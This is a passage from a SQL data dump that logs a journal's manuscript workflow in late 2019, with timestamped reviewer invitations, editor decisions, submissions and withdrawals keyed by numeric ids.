Reviewer',2919,'Publisher',319),(20067,'2019-11-13 13:50:36','Publisher has Invited Reviewer',2919,'Publisher',319),(20068,'2019-11-13 13:53:29','Editor has been Editor Decision Accepted article',2277,'Editor',1067),(20069,'2019-11-13 13:53:40','Editor has Accepted to review Manuscript',2919,'Editor',1067),(20070,'2019-11-13 13:54:16','Publisher has been Accepted Articles  article',2277,'Publisher',319),(20071,'2019-11-13 13:56:22','Editor has been Editor Decision Accepted article',2693,'Editor',1069),(20072,'2019-11-13 13:56:33','Editor has been Editor Decision Accepted article',2693,'Editor',1069),(20073,'2019-11-13 13:57:04','Publisher has been Accepted Articles  article',2693,'Publisher',319),(20074,'2019-11-13 13:57:15','Publisher has been Accepted Articles  article',2693,'Publisher',319),(20105,'2019-11-13 15:07:38','Editor has Accepted to review Manuscript',2755,'Editor',1011),(20106,'2019-11-13 15:08:08','Editor has been Editor Decision Accepted article',2755,'Editor',1011),(20107,'2019-11-13 15:08:31','Publisher has been Accepted Articles  article',2755,'Publisher',376),(20108,'2019-11-13 15:09:10','Publisher: Accept Notification has been sent to Author',2755,'Publisher',376),(20120,'2019-11-13 17:10:20','Publisher has Invited Reviewer',2727,'Publisher',84),(20121,'2019-11-13 17:10:21','Publisher has Invited Reviewer',2727,'Publisher',84),(20122,'2019-11-13 17:11:43','Publisher has Invited Reviewer',555,'Publisher',84),(20123,'2019-11-13 17:11:44','Publisher has Invited Reviewer',555,'Publisher',84),(20124,'2019-11-13 17:12:05','Publisher has Invited Reviewer',555,'Publisher',84),(20125,'2019-11-13 17:12:06','Publisher has Invited Reviewer',555,'Publisher',84),(20126,'2019-11-13 17:12:07','Publisher has Invited Reviewer',555,'Publisher',84),(20127,'2019-11-13 17:12:40','Publisher has Invited Reviewer',1290,'Publisher',84),(20139,'2019-11-14 08:37:46','Publisher has Invited Reviewer',2902,'Publisher',376),(20140,'2019-11-14 08:37:56','Publisher has Invited Reviewer',2902,'Publisher',376),(20141,'2019-11-14 08:38:08','Publisher has Invited Reviewer',2902,'Publisher',376),(20142,'2019-11-14 08:38:09','Publisher has Invited Reviewer',2902,'Publisher',376),(20143,'2019-11-14 08:40:50','Publisher: Accept Notification has been sent to Author',2755,'Publisher',376),(20144,'2019-11-14 08:51:28','Editor has Accepted to review Manuscript',2708,'Editor',1012),(20145,'2019-11-14 08:51:47','Editor has been Editor Decision Accepted article',2708,'Editor',1012),(20146,'2019-11-14 08:52:16','Editor has been Editor Decision Accepted article',2708,'Editor',1012),(20147,'2019-11-14 08:52:45','Publisher: Accept Notification has been sent to Author',2708,'Publisher',376),(20148,'2019-11-14 10:34:23','Editor has been Editor Decision Accepted article',2887,'Editor',1291),(20149,'2019-11-14 10:35:30','Publisher: Accept Notification has been sent to Author',2887,'Publisher',85),(20152,'2019-11-14 11:33:22','Editor has Accepted to review Manuscript',2877,'Editor',1070),(20153,'2019-11-14 11:33:57','Editor has been Revise (Notify Author) article',2877,'Editor',1070),(20157,'2019-11-14 11:57:35','Publisher : Notified Author',2877,'Publisher',319),(20158,'2019-11-14 12:06:02','Reviewer has submitted comments',2902,'Reviewer',7021),(20170,'2019-11-14 14:03:00','Manuscript Submitted by Author using Submission form',2926,'Author',3810),(20177,'2019-11-14 22:39:00','Author sent Email',2617,'Author',3369),(20178,'2019-11-14 22:40:47','Author sent Email',2617,'Author',3369),(20213,'2019-11-15 10:49:09','Publisher has Invited Reviewer',2617,'Publisher',274),(20214,'2019-11-15 11:02:08','Publisher has Invited Reviewer',2694,'Publisher',274),(20218,'2019-11-15 14:11:01','Manuscript Submitted by Author using Submission form',2930,'Author',3816),(20220,'2019-11-15 15:31:12','Manuscript Submitted by Author using Submission form',2932,'Author',3818),(20221,'2019-11-15 16:34:39','Publisher has been Withdrawn  article',2897,'Publisher',85),(20222,'2019-11-15 16:34:57','Publisher has been Withdrawn  article',2896,'Publisher',85),(20223,'2019-11-15 16:36:34','Publisher has Invited Reviewer',2759,'Publisher',85),(20224,'2019-11-15 16:36:35','Publisher has Invited Reviewer',2759,'Publisher',85),(20225,'2019-11-15 16:36:36','Publisher has Invited Reviewer',2759,'Publisher',85),(20226,'2019-11-15 16:36:37','Publisher has Invited Reviewer',2759,'Publisher',85),(20227,'2019-11-15 16:36:38','Publisher has Invited Reviewer',2759,'Publisher',85),(20228,'2019-11-15 16:36:39','Publisher has Invited Reviewer',2759,'Publisher',85),(20229,'2019-11-15 16:36:40','Publisher has Invited Reviewer',2759,'Publisher',85),(20230,'2019-11-15 16:36:41','Publisher has Invited Reviewer',2759,'Publisher',85),(20231,'2019-11-15 16:36:42','Publisher has Invited Reviewer',2759,'Publisher',85),(20232,'2019-11-15 16:36:43','Publisher has Invited Reviewer',2759,'Publisher',85),(20233,'2019-11-15 16:38:29','Publisher has Invited Reviewer',2756,'Publisher',85),(20234,'2019-11-15 16:38:30','Publisher has Invited Reviewer',2756,'Publisher',85),(20235,'2019-11-15 16:38:31','Publisher has Invited Reviewer',2756,'Publisher',85),(20236,'2019-11-15 16:38:32','Publisher has Invited Reviewer',2756,'Publisher',85),(20237,'2019-11-15 16:38:33','Publisher has Invited Reviewer',2756,'Publisher',85),(20238,'2019-11-15 16:38:34','Publisher has Invited Reviewer',2756,'Publisher',85),(20239,'2019-11-15 16:39:16','Publisher has Invited Reviewer',2645,'Publisher',85),(20240,'2019-11-15 16:39:17','Publisher has Invited Reviewer',2645,'Publisher',85),(20241,'2019-11-15 16:39:18','Publisher has Invited Reviewer',2645,'Publisher',85),(20242,'2019-11-15 16:39:51','Publisher has Invited Reviewer',2645,'Publisher',85),(20243,'2019-11-15 16:39:53','Publisher has Invited Reviewer',2645,'Publisher',85),(20244,'2019-11-15 16:39:54','Publisher has Invited Reviewer',2645,'Publisher',85),(20245,'2019-11-15 16:39:55','Publisher has Invited Reviewer',2645,'Publisher',85),(20246,'2019-11-15 16:40:55','Manuscript Submitted by Publisher',2933,'Publisher',248),(20247,'2019-11-15 16:41:04','Publisher has been Assigned Editor',2933,'Publisher',248),(20248,'2019-11-15 16:41:14','Publisher has Invited Reviewer',1394,'Publisher',85),(20249,'2019-11-15 16:41:14','Publisher has Invited Reviewer',1394,'Publisher',85),(20250,'2019-11-15 16:41:15','Publisher has Invited Reviewer',1394,'Publisher',85),(20251,'2019-11-15 16:41:16','Publisher has Invited Reviewer',1394,'Publisher',85),(20252,'2019-11-15 16:41:18','Publisher has Invited Reviewer',1394,'Publisher',85),(20253,'2019-11-15 16:41:19','Publisher has Invited Reviewer',1394,'Publisher',85),(20254,'2019-11-15 16:57:58','Manuscript Submitted by Publisher',2934,'Publisher',48),(20255,'2019-11-15 16:58:09','Publisher has been Assigned Editor',2934,'Publisher',48),(20258,'2019-11-15 17:03:37','Publisher has Invited Reviewer',2744,'Publisher',248),(20259,'2019-11-15 17:03:37','Publisher has Invited Reviewer',2744,'Publisher',248),(20260,'2019-11-15 17:03:38','Publisher has Invited Reviewer',2744,'Publisher',248),(20261,'2019-11-15 17:03:39','Publisher has Invited Reviewer',2744,'Publisher',248),(20262,'2019-11-15 17:03:40','Publisher has Invited Reviewer',2744,'Publisher',248),(20263,'2019-11-15 17:03:40','Publisher has Invited Reviewer',2744,'Publisher',248),(20264,'2019-11-15 17:03:41','Publisher has Invited Reviewer',2744,'Publisher',248),(20265,'2019-11-15 17:03:42','Publisher has Invited Reviewer',2744,'Publisher',248),(20266,'2019-11-15 17:03:43','Publisher has Invited Reviewer',2744,'Publisher',248),(20267,'2019-11-15 17:03:43','Publisher has Invited Reviewer',2744,'Publisher',248),(20268,'2019-11-15 17:09:53','Reviewer has been sent email to Publisher',2877,'Reviewer',9795),(20269,'2019-11-15 17:17:23','Publisher has Invited Reviewer',2777,'Publisher',248),(20270,'2019-11-15 17:17:24','Publisher has Invited Reviewer',2777,'Publisher',248),(20271,'2019-11-15 17:17:24','Publisher has Invited Reviewer',2777,'Publisher',248),(20272,'2019-11-15 17:17:25','Publisher has Invited Reviewer',2777,'Publisher',248),(20273,'2019-11-15 17:17:26','Publisher has Invited Reviewer',2777,'Publisher',248),(20274,'2019-11-15 17:17:27','Publisher has Invited Reviewer',2777,'Publisher',248),(20275,'2019-11-15 17:17:27','Publisher has Invited Reviewer',2777,'Publisher',248),(20276,'2019-11-15 17:17:28','Publisher has Invited Reviewer',2777,'Publisher',248),(20277,'2019-11-15 17:17:29','Publisher has Invited Reviewer',2777,'Publisher',248),(20278,'2019-11-15 17:17:34','Publisher has Invited Reviewer',2777,'Publisher',248),(20279,'2019-11-15 17:34:58','Publisher has Invited Reviewer',2933,'Publisher',248),(20280,'2019-11-15 17:34:59','Publisher has Invited Reviewer',2933,'Publisher',248),(20281,'2019-11-15 17:35:00','Publisher has Invited Reviewer',2933,'Publisher',248),(20282,'2019-11-15 17:35:00','Publisher has Invited Reviewer',2933,'Publisher',248),(20283,'2019-11-15 17:35:01','Publisher has Invited Reviewer',2933,'Publisher',248),(20284,'2019-11-15 17:50:59','Reviewer has submitted comments',2844,'Reviewer',9797),(20285,'2019-11-15 18:18:29','Reviewer has submitted comments',2919,'Reviewer',9797),(20288,'2019-11-15 21:10:19','Reviewer has submitted comments',2877,'Reviewer',9803),(20290,'2019-11-16 12:00:50','Manuscript Submitted by Author using Submission form',2939,'Author',3829),(20298,'2019-11-16 21:53:39','Manuscript Submitted by Author using Submission form',2943,'Author',3833),(20299,'2019-11-17 05:55:57','Reviewer has submitted comments',2633,'Reviewer',9133),(20300,'2019-11-17 05:56:29','Reviewer has updated comments',2633,'Reviewer',9133),(20301,'2019-11-17 05:58:05','Reviewer has submitted comments',2697,'Reviewer',9133),(20302,'2019-11-17 05:58:25','Reviewer has submitted comments',2697,'Reviewer',9133),(20303,'2019-11-17 05:58:32','Reviewer has updated comments',2697,'Reviewer',9133),(20304,'2019-11-17 06:07:31','Reviewer has updated comments',2633,'Reviewer',9133),(20305,'2019-11-17 06:13:45','Reviewer has submitted comments',2708,'Reviewer',9133),(20307,'2019-11-17 15:16:32','Manuscript Submitted by Author using Submission form',2945,'Author',3836),(20312,'2019-11-18 10:15:16','Editor has been Revise (Notify Author) article',2919,'Editor',1067),(20314,'2019-11-18 10:21:33','Publisher : Notified Author',2919,'Publisher',319),(20315,'2019-11-18 10:22:23','Editor has Accepted to review Manuscript',2844,'Editor',1068),(20316,'2019-11-18 10:23:03','Editor has been Revise (Notify Author) article',2844,'Editor',1068),(20317,'2019-11-18 10:24:10','Publisher : Notified Author',2844,'Publisher',319),(20375,'2019-11-18 13:16:09','Publisher has been Assigned Editor',2584,'Publisher',274),(20382,'2019-11-18 14:44:43','Publisher has been Assigned Editor',2939,'Publisher',645),(20391,'2019-11-18 15:03:16','Publisher has been Withdrawn  article',2602,'Publisher',376),(20406,'2019-11-18 16:06:48','Manuscript Submitted by Author using Submission form',2950,'Author',3847),(20410,'2019-11-18 17:40:14','Reviewer has submitted comments',1394,'Reviewer',9004),(20415,'2019-11-19 09:50:54','Publisher has Invited Reviewer',2939,'Publisher',645),(20416,'2019-11-19 09:50:55','Publisher has Invited Reviewer',2939,'Publisher',645),(20417,'2019-11-19 09:50:57','Publisher has Invited Reviewer',2939,'Publisher',645),(20418,'2019-11-19 09:50:58','Publisher has Invited Reviewer',2939,'Publisher',645),(20419,'2019-11-19 09:51:00','Publisher has Invited Reviewer',2939,'Publisher',645),(20449,'2019-11-19 14:59:02','Manuscript has been Revised',2877,'Author',3730),(20475,'2019-11-20 13:36:11','Publisher has Invited Reviewer',2933,'Publisher',248),(20476,'2019-11-20 13:36:12','Publisher has Invited Reviewer',2933,'Publisher',248),(20477,'2019-11-20 13:36:12','Publisher has Invited Reviewer',2933,'Publisher',248),(20478,'2019-11-20 13:36:13','Publisher has Invited Reviewer',2933,'Publisher',248),(20479,'2019-11-20 13:36:13','Publisher has Invited Reviewer',2933,'Publisher',248),(20480,'2019-11-20 13:36:14','Publisher has Invited Reviewer',2933,'Publisher',248),(20481,'2019-11-20 13:36:14','Publisher has Invited Reviewer',2933,'Publisher',248),(20482,'2019-11-20 13:36:15','Publisher has Invited Reviewer',2933,'Publisher',248),(20483,'2019-11-20 13:36:16','Publisher has Invited Reviewer',2933,'Publisher',248),(20484,'2019-11-20 13:36:16','Publisher has Invited Reviewer',2933,'Publisher',248),(20548,'2019-11-21 13:40:25','Reviewer has submitted comments',2617,'Reviewer',9897),(20549,'2019-11-21 13:41:19','Publisher : Notified Editor',2617,'Publisher',274),(20557,'2019-11-21 15:31:33','Editor has Accepted to review Manuscript',2617,'Editor',1235),(20558,'2019-11-21 15:31:54','Editor has been Editor Decision Accepted article',2617,'Editor',1235),(20561,'2019-11-21 16:28:47','Editor has Accepted to review Manuscript',2852,'Editor',357),(20562,'2019-11-21 16:29:09','Editor has Accepted to review Manuscript',2933,'Editor',357),(20563,'2019-11-21 16:29:29','Editor has Accepted to review Manuscript',2777,'Editor',357),(20564,'2019-11-21 16:30:33','Author sent Email',2727,'Author',3312),(20565,'2019-11-21 16:44:02','Publisher: Accept Notification has been sent to Author',2708,'Publisher',376),(20571,'2019-11-21 21:05:23','Reviewer has submitted comments',2919,'Reviewer',7415),(20572,'2019-11-22 00:30:11','Reviewer has submitted comments',2768,'Reviewer',4452),(20573,'2019-11-22 00:30:28','Reviewer has updated comments',2768,'Reviewer',4452),(20574,'2019-11-22 00:31:26','Reviewer has updated comments',2768,'Reviewer',4452),(20575,'2019-11-22 01:02:09','Reviewer has submitted comments',2120,'Reviewer',4452),(20579,'2019-11-22 09:11:18','Manuscript Submitted by Author',2971,'Author',3589),(20608,'2019-11-22 14:19:40','Publisher has Invited Reviewer',2934,'Publisher',48),(20609,'2019-11-22 14:19:42','Publisher has Invited Reviewer',2934,'Publisher',48),(20610,'2019-11-22 14:19:53','Publisher has Invited Reviewer',2934,'Publisher',48),(20611,'2019-11-22 14:19:54','Publisher has Invited Reviewer',2934,'Publisher',48),(20612,'2019-11-22 14:19:55','Publisher has Invited Reviewer',2934,'Publisher',48),(20613,'2019-11-22 14:20:44','Publisher has Invited Reviewer',2581,'Publisher',48),(20614,'2019-11-22 14:20:45','Publisher has Invited Reviewer',2581,'Publisher',48),(20615,'2019-11-22 14:20:54','Publisher has Invited Reviewer',2581,'Publisher',48),(20616,'2019-11-22 14:21:07','Publisher has Invited Reviewer',2581,'Publisher',48),(20617,'2019-11-22 14:21:09','Publisher has Invited Reviewer',2581,'Publisher',48),(20618,'2019-11-22 14:21:10','Publisher has Invited Reviewer',2581,'Publisher',48),(20672,'2019-11-23 10:20:51','Publisher has Invited Reviewer',2939,'Publisher',645),(20673,'2019-11-23 10:20:59','Publisher has Invited Reviewer',2939,'Publisher',645),(20674,'2019-11-23 10:21:00','Publisher has Invited Reviewer',2939,'Publisher',645),(20675,'2019-11-23 10:21:10','Publisher has Invited Reviewer',2939,'Publisher',645),(20676,'2019-11-23 10:21:21','Publisher has Invited Reviewer',2939,'Publisher',645),(20677,'2019-11-23 10:21:22','Publisher has Invited Reviewer',2939,'Publisher',645),(20678,'2019-11-23 10:21:23','Publisher has Invited Reviewer',2939,'Publisher',645),(20679,'2019-11-23 10:21:24','Publisher has Invited Reviewer',2939,'Publisher',645),(20680,'2019-11-23 10:21:25','Publisher has Invited Reviewer',2939,'Publisher',645),(20681,'2019-11-23 10:21:26','Publisher has Invited Reviewer',2939,'Publisher',645),(20741,'2019-11-25 10:39:43','Publisher : Notified Editor',1394,'Publisher',85),(20742,'2019-11-25 10:40:44','Editor has Accepted to review Manuscript',1394,'Editor',203),(20743,'2019-11-25 10:41:11','Editor has been Revise (Notify Author) article',1394,'Editor',203),(20744,'2019-11-25 10:42:15','Publisher : Notified Author',1394,'Publisher',85),(20776,'2019-11-25 13:44:45','Manuscript has been Revised',2768,'Author',3582),(20800,'2019-11-25 14:03:20','Editor has been Editor Decision Accepted article',2877,'Editor',1070),(20801,'2019-11-25 14:04:06','Publisher: Accept Notification has been sent to Author',2877,'Publisher',319),(20802,'2019-11-25 14:04:19','Publisher has been Accepted Articles  article',2877,'Publisher',319),(20803,'2019-11-25 14:04:52','Publisher has been Withdrawn  article',2844,'Publisher',319),(20828,'2019-11-26 10:03:10','Publisher has Invited Reviewer',2759,'Publisher',85),(20829,'2019-11-26 10:03:11','Publisher has Invited Reviewer',2759,'Publisher',85),(20854,'2019-11-26 11:05:29','Publisher : Notified Editor',630,'Publisher',75),(20866,'2019-11-26 12:25:09','Reviewer has submitted comments',2933,'Reviewer',9932),(20867,'2019-11-26 12:25:49','Publisher : Notified Editor',2933,'Publisher',248),(20868,'2019-11-26 12:26:28','Editor has been Revise (Notify Author) article',2933,'Editor',357),(20870,'2019-11-26 13:46:32','Publisher : Notified Author',2933,'Publisher',248),(20885,'2019-11-26 16:08:41','Manuscript Submitted by Author using Submission form',2988,'Author',3898),(20948,'2019-11-27 15:15:24','Manuscript has been Revised',2933,'Author',3819),(20974,'2019-11-28 02:41:30','Manuscript Submitted by Author',2997,'Author',3889),(20978,'2019-11-28 09:47:31','Editor has been Editor Decision Accepted article',2933,'Editor',357),(20984,'2019-11-28 10:23:57','Publisher has Invited Reviewer',2852,'Publisher',248),(20985,'2019-11-28 10:23:57','Publisher has Invited Reviewer',2852,'Publisher',248),(20986,'2019-11-28 10:23:58','Publisher has Invited Reviewer',2852,'Publisher',248),(20987,'2019-11-28 10:23:58','Publisher has Invited Reviewer',2852,'Publisher',248),(20988,'2019-11-28 10:23:59','Publisher has Invited Reviewer',2852,'Publisher',248),(20989,'2019-11-28 10:24:00','Publisher has Invited Reviewer',2852,'Publisher',248),(20990,'2019-11-28 10:24:01','Publisher has Invited Reviewer',2852,'Publisher',248),(20991,'2019-11-28 10:24:01','Publisher has Invited Reviewer',2852,'Publisher',248),(20992,'2019-11-28 10:29:55','Reviewer has submitted comments',2852,'Reviewer',8599),(20993,'2019-11-28 10:30:42','Publisher : Notified Editor',2852,'Publisher',248),(20994,'2019-11-28 10:31:26','Editor has been Revise (Notify Author) article',2852,'Editor',357),(20995,'2019-11-28 10:31:59','Publisher : Notified Author',2852,'Publisher',248),(20997,'2019-11-28 11:53:48','Publisher has been Assigned Editor',2997,'Publisher',274),(20998,'2019-11-28 13:02:12','Reviewer has updated comments',2939,'Reviewer',4473),(21000,'2019-11-28 13:22:53','Publisher has been Accepted Articles  article',2933,'Publisher',248),(21070,'2019-11-28 22:11:12','Reviewer has submitted comments',2645,'Reviewer',5743),(21075,'2019-11-29 09:25:09','Publisher has been Assigned Editor',2988,'Publisher',75),(21076,'2019-11-29 09:25:42','Publisher has Invited Reviewer',2727,'Publisher',84),(21077,'2019-11-29 09:25:43','Publisher has Invited Reviewer',2727,'Publisher',84),(21078,'2019-11-29 09:25:44','Publisher has Invited Reviewer',2727,'Publisher',84),(21079,'2019-11-29 09:25:45','Publisher has Invited Reviewer',2727,'Publisher',84),(21080,'2019-11-29 09:25:46','Publisher has Invited Reviewer',2727,'Publisher',84),(21081,'2019-11-29 09:25:47','Publisher has Invited Reviewer',2727,'Publisher',84),(21106,'2019-11-29 12:24:15','Publisher has Invited Reviewer',2832,'Publisher',645),(21107,'2019-11-29 12:24:21','Publisher has Invited Reviewer',2832,'Publisher',645),(21110,'2019-11-29 14:02:59','Publisher has Invited Reviewer',555,'Publisher',84),(21111,'2019-11-29 14:02:59','Publisher has Invited Reviewer',555,'Publisher',84),(21112,'2019-11-29 14:04:10','Publisher has Invited Reviewer',2727,'Publisher',84),(21200,'2019-11-29 17:26:28','Publisher : Notified Editor',2696,'Publisher',75),(21201,'2019-11-29 17:26:49','Publisher : Notified Editor',2635,'Publisher',75),(21202,'2019-11-29 17:27:23','Publisher : Notified Editor',2719,'Publisher',75),(21203,'2019-11-29 17:28:02','Editor has been Revise (Notify Author) article',2696,'Editor',161),(21204,'2019-11-29 17:28:10','Editor has been Revise (Notify Author) article',2635,'Editor',161),(21205,'2019-11-29 17:29:11','Publisher : Notified Author',2696,'Publisher',75),(21206,'2019-11-29 17:29:35','Publisher : Notified Author',2635,'Publisher',75),(21207,'2019-11-29 17:30:34','Editor has been Revise (Notify Author) article',2719,'Editor',160),(21208,'2019-11-29 17:31:26','Publisher : Notified Author',2719,'Publisher',75),(21209,'2019-11-29 17:31:58','Publisher has Invited Reviewer',1457,'Publisher',75),(21210,'2019-11-29 17:31:59','Publisher has Invited Reviewer',1457,'Publisher',75),(21211,'2019-11-29 17:32:00','Publisher has Invited Reviewer',1457,'Publisher',75),(21212,'2019-11-29 17:32:01','Publisher has Invited Reviewer',1457,'Publisher',75),(21215,'2019-11-29 18:18:45','Reviewer has submitted comments',2832,'Reviewer',4506),(21216,'2019-11-29 18:19:16','Reviewer has updated comments',2832,'Reviewer',4506),(21217,'2019-11-29 18:22:52','Reviewer has submitted comments',2939,'Reviewer',4506),(21219,'2019-11-29 21:45:45','Manuscript has been Revised',2852,'Author',3688),(21224,'2019-11-30 07:07:46','Editor has been Editor Decision Accepted article',2719,'Editor',160),(21225,'2019-11-30 07:08:30','Editor has Accepted to review Manuscript',2988,'Editor',160),(21226,'2019-11-30 07:10:36','Editor has been Revise (Notify Author) article',630,'Editor',160),(21227,'2019-11-30 07:12:43','Editor has Invited Reviewer',2988,'Editor',160),(21228,'2019-11-30 07:12:45','Editor has Invited Reviewer',2988,'Editor',160),(21229,'2019-11-30 07:12:46','Editor has Invited Reviewer',2988,'Editor',160),(21230,'2019-11-30 07:12:47','Editor has Invited Reviewer',2988,'Editor',160),(21235,'2019-11-30 09:45:06','Manuscript Submitted by Publisher',3011,'Publisher',972),(21240,'2019-11-30 10:14:06','Publisher has been Assigned Editor',3011,'Publisher',972),(21241,'2019-11-30 10:14:35','Publisher has Invited Reviewer',3011,'Publisher',972),(21242,'2019-11-30 10:14:36','Publisher has Invited Reviewer',3011,'Publisher',972),(21243,'2019-11-30 10:14:37','Publisher has Invited Reviewer',3011,'Publisher',972),(21271,'2019-11-30 11:07:58','Editor has Accepted to review Manuscript',2902,'Editor',1011),(21272,'2019-11-30 11:08:12','Editor has been Editor Decision Accepted article',2902,'Editor',1011),(21273,'2019-11-30 11:08:33','Publisher: Accept Notification has been sent to Author',2902,'Publisher',376),(21274,'2019-11-30 11:09:31','Publisher: Accept Notification has been sent to Author',2902,'Publisher',376),(21291,'2019-12-02 10:10:29','Publisher has Invited Reviewer',3011,'Publisher',972),(21293,'2019-12-02 10:15:33','Publisher : Notified Editor',2645,'Publisher',85),(21294,'2019-12-02 10:17:05','Editor has Accepted to review Manuscript',2645,'Editor',1251),(21295,'2019-12-02 10:17:35','Editor has been Revise (Notify Author) article',2645,'Editor',1251),(21296,'2019-12-02 10:18:26','Publisher : Notified Author',2645,'Publisher',85),(21297,'2019-12-02 10:20:38','Publisher has Invited Reviewer',2759,'Publisher',85),(21298,'2019-12-02 10:21:04','Publisher has Invited Reviewer',2759,'Publisher',85),(21299,'2019-12-02 10:21:05','Publisher has Invited Reviewer',2759,'Publisher',85),(21300,'2019-12-02 10:21:06','Publisher has Invited Reviewer',2759,'Publisher',85),(21301,'2019-12-02 10:21:07','Publisher has Invited Reviewer',2759,'Publisher',85),(21302,'2019-12-02 10:21:08','Publisher has Invited Reviewer',2759,'Publisher',85),(21309,'2019-12-02 10:37:57','Editor has been Editor Decision Accepted article',2919,'Editor',1067),(21310,'2019-12-02 10:38:34','Publisher has been Accepted Articles  article',2919,'Publisher',319),(21322,'2019-12-02 14:18:47','Reviewer has submitted comments',1674,'Reviewer',9663),(21328,'2019-12-02 14:24:00','Reviewer has submitted comments',2727,'Reviewer',9663),(21329,'2019-12-02 14:29:24','Reviewer has submitted comments',555,'Reviewer',9663),(21330,'2019-12-02 14:31:28','Reviewer has submitted comments',557,'Reviewer',9663),(21331,'2019-12-02 14:35:18','Publisher : Notified Editor',555,'Publisher',84),(21332,'2019-12-02 14:35:37','Publisher : Notified Editor',557,'Publisher',84),(21333,'2019-12-02 14:35:59','Publisher : Notified Editor',1674,'Publisher',84),(21334,'2019-12-02 14:36:11','Publisher : Notified Editor',2727,'Publisher',84),(21335,'2019-12-02 14:36:29','Publisher : Notified Editor',1674,'Publisher',84),(21336,'2019-12-02 14:38:36','Editor has Accepted to review Manuscript',2727,'Editor',221),(21337,'2019-12-02 14:38:52','Editor has been Revise (Notify Author) article',555,'Editor',221),(21338,'2019-12-02 14:39:03','Editor has been Revise (Notify Author) article',1674,'Editor',221),(21339,'2019-12-02 14:39:12','Editor has been Revise (Notify Author) article',2727,'Editor',221),(21340,'2019-12-02 14:39:56','Editor has been Revise (Notify Author) article',2674,'Editor',222),(21341,'2019-12-02 14:40:14','Editor has Accepted to review Manuscript',557,'Editor',222),(21342,'2019-12-02 14:40:28','Editor has been Revise (Notify Author) article',557,'Editor',222),(21343,'2019-12-02 14:42:11','Publisher : Notified Author',555,'Publisher',84),(21344,'2019-12-02 14:42:31','Publisher : Notified Author',557,'Publisher',84),(21345,'2019-12-02 14:42:58','Publisher : Notified Author',1674,'Publisher',84),(21346,'2019-12-02 14:43:35','Publisher : Notified Author',2727,'Publisher',84),(21379,'2019-12-02 15:11:13','Publisher has Invited Reviewer',1497,'Publisher',75),(21380,'2019-12-02 15:11:15','Publisher has Invited Reviewer',1497,'Publisher',75),(21381,'2019-12-02 15:11:16','Publisher has Invited Reviewer',1497,'Publisher',75),(21382,'2019-12-02 15:11:17','Publisher has Invited Reviewer',1497,'Publisher',75),(21383,'2019-12-02 15:11:18','Publisher has Invited Reviewer',1497,'Publisher',75),(21384,'2019-12-02 15:11:19','Publisher has Invited Reviewer',1497,'Publisher',75),(21385,'2019-12-02 15:11:20','Publisher has Invited Reviewer',1497,'Publisher',75),(21386,'2019-12-02 15:11:21','Publisher has Invited Reviewer',1497,'Publisher',75),(21387,'2019-12-02 15:11:22','Publisher has Invited Reviewer',1497,'Publisher',75),(21388,'2019-12-02 15:11:23','Publisher has Invited Reviewer',1497,'Publisher',75),(21389,'2019-12-02 15:11:53','Publisher has Invited Reviewer',2988,'Publisher',75),(21390,'2019-12-02 15:12:24','Publisher has Invited Reviewer',2988,'Publisher',75),(21391,'2019-12-02 15:12:25','Publisher has Invited Reviewer',2988,'Publisher',75),(21392,'2019-12-02 15:12:26','Publisher has Invited Reviewer',2988,'Publisher',75),(21393,'2019-12-02 15:12:27','Publisher has Invited Reviewer',2988,'Publisher',75),(21394,'2019-12-02 15:12:28','Publisher has Invited Reviewer',2988,'Publisher',75),(21395,'2019-12-02 15:12:29','Publisher has Invited Reviewer',2988,'Publisher',75),(21396,'2019-12-02 15:46:52','Publisher has been Assigned Editor',2943,'Publisher',48),(21415,'2019-12-02 17:46:39','Manuscript has been Revised',2635,'Author',3393),(21431,'2019-12-03 09:39:12','Publisher : Notified Author',2674,'Publisher',84),(21460,'2019-12-03 13:23:56','Manuscript Submitted by Author using Submission form',3021,'Author',3949),(21461,'2019-12-03 13:24:50','Publisher : Notified Editor',630,'Publisher',75),(21462,'2019-12-03 13:26:14','Editor has been Editor Decision Accepted article',630,'Editor',160),(21464,'2019-12-03 13:28:10','Publisher: Accept Notification has been sent to Author',630,'Publisher',75),(21468,'2019-12-03 14:13:28','Publisher has Invited Reviewer',2723,'Publisher',84),(21469,'2019-12-03 14:13:29','Publisher has Invited Reviewer',2723,'Publisher',84),(21470,'2019-12-03 14:13:49','Publisher has Invited Reviewer',1674,'Publisher',84),(21471,'2019-12-03 14:14:39','Publisher has Invited Reviewer',555,'Publisher',84),(21472,'2019-12-03 14:15:33','Publisher : Notified Editor',555,'Publisher',84),(21473,'2019-12-03 14:16:53','Editor has been Revise (Notify Author) article',555,'Editor',221),(21474,'2019-12-03 14:17:10','Editor has been Revise (Notify Author) article',1674,'Editor',221),(21475,'2019-12-03 14:18:07','Publisher : Notified Author',555,'Publisher',84),(21476,'2019-12-03 14:18:47','Publisher : Notified Author',1674,'Publisher',84),(21478,'2019-12-03 14:50:05','Publisher : Notified Author',1674,'Publisher',84),(21479,'2019-12-03 14:50:27','Publisher has Invited Reviewer',1290,'Publisher',84),(21480,'2019-12-03 14:50:28','Publisher has Invited Reviewer',1290,'Publisher',84),(21490,'2019-12-03 16:59:03','Editor has been Editor Decision Accepted article',630,'Editor',160),(21520,'2019-12-04 17:07:33','Publisher has Invited Reviewer',2988,'Publisher',75),(21521,'2019-12-04 17:08:21','Publisher has Invited Reviewer',2988,'Publisher',75),(21522,'2019-12-04 17:08:22','Publisher has Invited Reviewer',2988,'Publisher',75),(21523,'2019-12-04 17:08:23','Publisher has Invited Reviewer',2988,'Publisher',75),(21524,'2019-12-04 17:08:24','Publisher has Invited Reviewer',2988,'Publisher',75),(21528,'2019-12-04 20:56:45','Manuscript Submitted by Author using Submission form',3026,'Author',3957),(21531,'2019-12-05 02:35:32','Manuscript has been Revised',2727,'Author',3312),(21533,'2019-12-05 09:22:47','Editor has been Editor Decision Accepted article',2686,'Editor',359),(21534,'2019-12-05 09:25:29','Publisher: Accept Notification has been sent to Author',2686,'Publisher',248),(21535,'2019-12-05 09:25:40','Publisher has been Accepted Articles  article',2686,'Publisher',248),(21537,'2019-12-05 09:55:56','Publisher : Notified Editor',2727,'Publisher',84),(21590,'2019-12-05 12:20:51','Reviewer has submitted comments',3011,'Reviewer',10251),(21591,'2019-12-05 12:23:31','Reviewer has been sent email to Publisher',3011,'Reviewer',10251),(21673,'2019-12-05 19:57:51','Reviewer has submitted comments',555,'Reviewer',6238),(21684,'2019-12-06 09:57:31','Publisher : Notified Author',2674,'Publisher',84),(21686,'2019-12-06 10:58:44','Publisher has been Assigned Editor',3026,'Publisher',48),(21687,'2019-12-06 11:55:52','Publisher has Invited Reviewer',2971,'Publisher',376),(21688,'2019-12-06 11:55:54','Publisher has Invited Reviewer',2971,'Publisher',376),(21689,'2019-12-06 11:55:55','Publisher has Invited 